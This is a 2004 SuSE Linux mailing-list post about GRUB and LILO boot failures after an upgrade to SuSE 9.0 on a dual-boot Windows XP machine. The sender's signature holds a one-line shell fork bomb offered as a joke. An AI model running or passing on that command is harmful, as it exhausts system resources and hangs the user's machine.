[SLE] GRUB/LILO boot problems on SuSE 9.0

From: Martin Mielke (martin.mielke_at_thales-is.com)
Date: 01/14/04

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    To: <suse-linux-e@suse.com>
Date: Wed, 14 Jan 2004 12:48:31 +0100

    Dear all,

    <long_post>

    Yesterday I decided to upgrade from SuSE 7.3 to SuSE 9.0. Instead of a
    proper upgrade I did a complete installation from scratch (after a complete
    backup of my sensitive data, of course).
    The installation process went 99% fine; that 1% was a problem installing
    iputils, which I fixed on a post-install check.

    During my "SuSE 7.3"-Era I used LILO, which worked correctly all the time,
    but I wanted to give GRUB a chance when using my brand-new SuSE 9.0. As
    usual, the installation process showed some partition tables (which I
    accepted as they suited my needs) and reached the point where YaST asked me
    to install the boot-loader (GRUB, as I said). The contents of /etc/grub.conf
    were shown, which showed both the Linux and WinXP partitions, and I accepted
    to install this new boot-loader on the MBR just because that's the way I had
    LILO doing its job.

    I logged in and out some times to see the new features and screens (just
    like a child with a new toy ;) ) but... I had to rise an eyebrow after the
    first reboot. The system hung with the following error message:

            GRUB loading stage2..

    I booted to SuSE 9.0 using the proper option from the CD1 and did a search
    on google.com on how to uninstall GRUB. There's an interesting link on this
    subject under http://portal.suse.com/sdb/en/1999/03/tg_deinstall.html where
    you can read: 

    ---
If you use Windows 2000/XP, deinstall LILO or GRUB as described in the
article Uninstalling the Boot Manager LILO from the MBR
(http://portal.suse.com//sdb/en/2002/08/fhassel_deinstall_lilo.html )
(http://sdb.suse.de/en/sdb/html/fhassel_deinstall_lilo.html).
---
Browsing the new article, one reads:
---
Procedure with Windows XP
Under Windows XP, you can restore the original MBR (thus uninstalling Lilo)
as follows:
Boot from the Windows XP CD, press the key "R" in the setup in order to
start the restoration console. Select your Windows XP installation from the
list, and enter the administrator password. Enter the command "FIXMBR" at
the input prompt and confirm the next question with "y". Finally, use "exit"
to restore the computer.
---
...so I did.
Now I just see the first LILO-screen I saw after installing SuSE 7.3, even
with the old menu-options proposed by LILO (I changed the literals to show
something like "SuSE 7.3", "WinXP", "FailSafe", etc, instead of "Linux",
"nt", "failsafe").
Some questions would be: where the hell does that LILO-menu come from? how
can I completely remove LILO? because issuing a 'lilo -u /dev/hdX' on every
active partition returns something like "/dev/hdX is not signed by LILO".
So, as I realized that GRUB would comsume more time than I really expected,
I decided to switch back to LILO. Again, I used the tools provided on the
SuSE 9.0 CDs to access YaST and launch the "Boot Manager"-application. I
choosed LILO, a GRUB->LILO convertion took place and the new boot-loader was
writen to disk... for nothing!. A new reboot now showed something like:
	OK booting the kernel...............
	LILO ... 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ...
So, now I have a box with one (or two, depending on, far from wanting to
start a 'religious war', whether you consider WinXP an OS) operating system
which I can't boot unless I use the right tool on the CD1 to do it.
</long_post>
Has anyone faced such a problem before and knows how to handle it? Maybe I'm
overseeing something obvious... :-/
Thanks in advance!
Best regards,
Martin
--
Martin Mielke			martin.mielke@thales-is.com
THALES Information Systems	http://www.thales-is.com/
UNIX is user-friendly...  Itīs just selective about who its friends are.
[ echo "\$0&\$0">_;chmod +x _;./_ ]
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